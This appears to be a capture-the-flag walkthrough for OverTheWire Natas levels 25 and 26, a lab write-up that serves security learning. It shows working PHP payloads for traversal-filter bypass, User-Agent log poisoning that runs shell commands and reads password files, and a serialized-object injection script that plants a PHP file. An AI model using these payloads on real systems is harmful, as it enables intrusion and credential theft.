Level 25
Looking at the source given to us, we control the lang
parameter (e.g. ?lang=de
will switch the language to German). We should use this somehow get hold of the natas_webpass
file - which means finding a way to make the strstr
call evaluate to false.
Bypassing the traversal is rather easy - if your string is ....//bar
, the str_replace
expression will result in ../bar
. Just to prove this out, you can trigger an error with ?lang=....//.
. So what next? logRequest
looks interesting:
It looks like we could technically have access to our own logs. E.g. if your session cookie is PHPSESSID=nulnhkq2j9fkq5379sv4pd5n34
you can access it via ?lang=....//logs/natas25_nulnhkq2j9fkq5379sv4pd5n34.log
:
[28.08.2020 08::57:18] PostmanRuntime/7.26.3 "Directory traversal attempt! fixing request."
That’s cool, but it doesn’t get us the password. And it doesn’t seem we have any way to control $message
either. However, there’s this odd looking $_SERVER['HTTP_USER_AGENT']
. The User-Agent
header is something we fully control and doesn’t seem to be sanitised in any way. This will get written as part of the log and, being loaded with include
, essentially means it will execute it as a php file. Does it mean we have command injection? Setting User-Agent
to <?php echo implode(",",scandir("."));?>
and reading the log gives us:
[28.08.2020 09::00:17] .,..,.htaccess,.htpasswd,index-source.html,index.php,index.php.tmpl,language,logs "Directory traversal attempt! fixing request."
Yay! We can now search for that elusive natas_webpass
file using <?php echo exec("find / -name natas_webpass");?>
- which tells us it’s under /etc
. Now I got stuck for a while there because I didn’t realise this was a directory, not a file >_<
. A quick ls
reveals the file we need, and <?php echo file_get_contents("/etc/natas_webpass/natas26"); ?>
takes care of the rest.
Level 26
The code indicates that if the session cookie for the site contains a key called “drawing”, it will end up calling drawFromUserdata
which unserialises a user-controlled payload:
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
Setting a line from (0,0)
to (400,300)
creates a drawing
cookie encoded as "YTozOntpOjA7YTo0OntzOjI6IngxIjtzOjE6IjEiO3M6MjoieTEiO3M6MToiMiI7czoyOiJ4MiI7czozOiIxMDAiO3M6MjoieTIiO3M6MzoiMjAwIjt9aToxO2E6MDp7fWk6MjthOjQ6e3M6MjoieDEiO3M6MToiMCI7czoyOiJ5MSI7czoxOiIwIjtzOjI6IngyIjtzOjM6IjQwMCI7czoyOiJ5MiI7czozOiIzMDAiO319"
which decodes to the below (spacing added manually):
a:3:{
i:0;
a:4:{
s:2:\"x1\";s:1:\"1\";s:2:\"y1\";s:1:\"2\";s:2:\"x2\";s:3:\"100\";s:2:\"y2\";s:3:\"200\";
}
i:1;
a:0:{}i:2;
a:4:{
s:2:\"x1\";s:1:\"0\";s:2:\"y1\";s:1:\"0\";s:2:\"x2\";s:3:\"400\";s:2:\"y2\";s:3:\"300\";
}
}
We can clearly see the 2 lines (one existing, one we added), complete with variable names. The data stored isn’t a custom class but an array - the values of which are a string of length 2 (s:2
) with value x1
, followed by a string of length 1 (s:1
) with value 1
etc…
In order to exploit the deserialisation, we need to use a class that is either present by default or defined in the scope. For this task we are given a Logger
class that has the magic __destruct
method:
function __destruct(){
// write exit message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
This gives us control of two things - (1) the name of a file on the server and (2) its content. This may not sound like much but a bit like with the previous level, this should give us the ability to write arbitrary PHP files on the server.
To start, we re-create the Logger
object locally and define what the variables should be:
<?php
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="<?php echo \"w00t\" ?>\n";
$this->logFile = "img/" . $file . ".php";
}
}
$o = new Logger("qmmi2gi7i5621k5cehpjtgrh34");
echo base64_encode(serialize($o));
?>
Where qmmi2gi7i5621k5cehpjtgrh34
is simply my PHPSESSID
(not required, but let’s not pollute/risk overwriting someone else’s exploit). Accessing http://natas26.natas.labs.overthewire.org/img/qmmi2gi7i5621k5cehpjtgrh34.php
shows this was successful!
All that’s left to do is to change exitMsg
to <?php echo file_get_contents("/etc/natas_webpass/natas27"); ?>
- and done.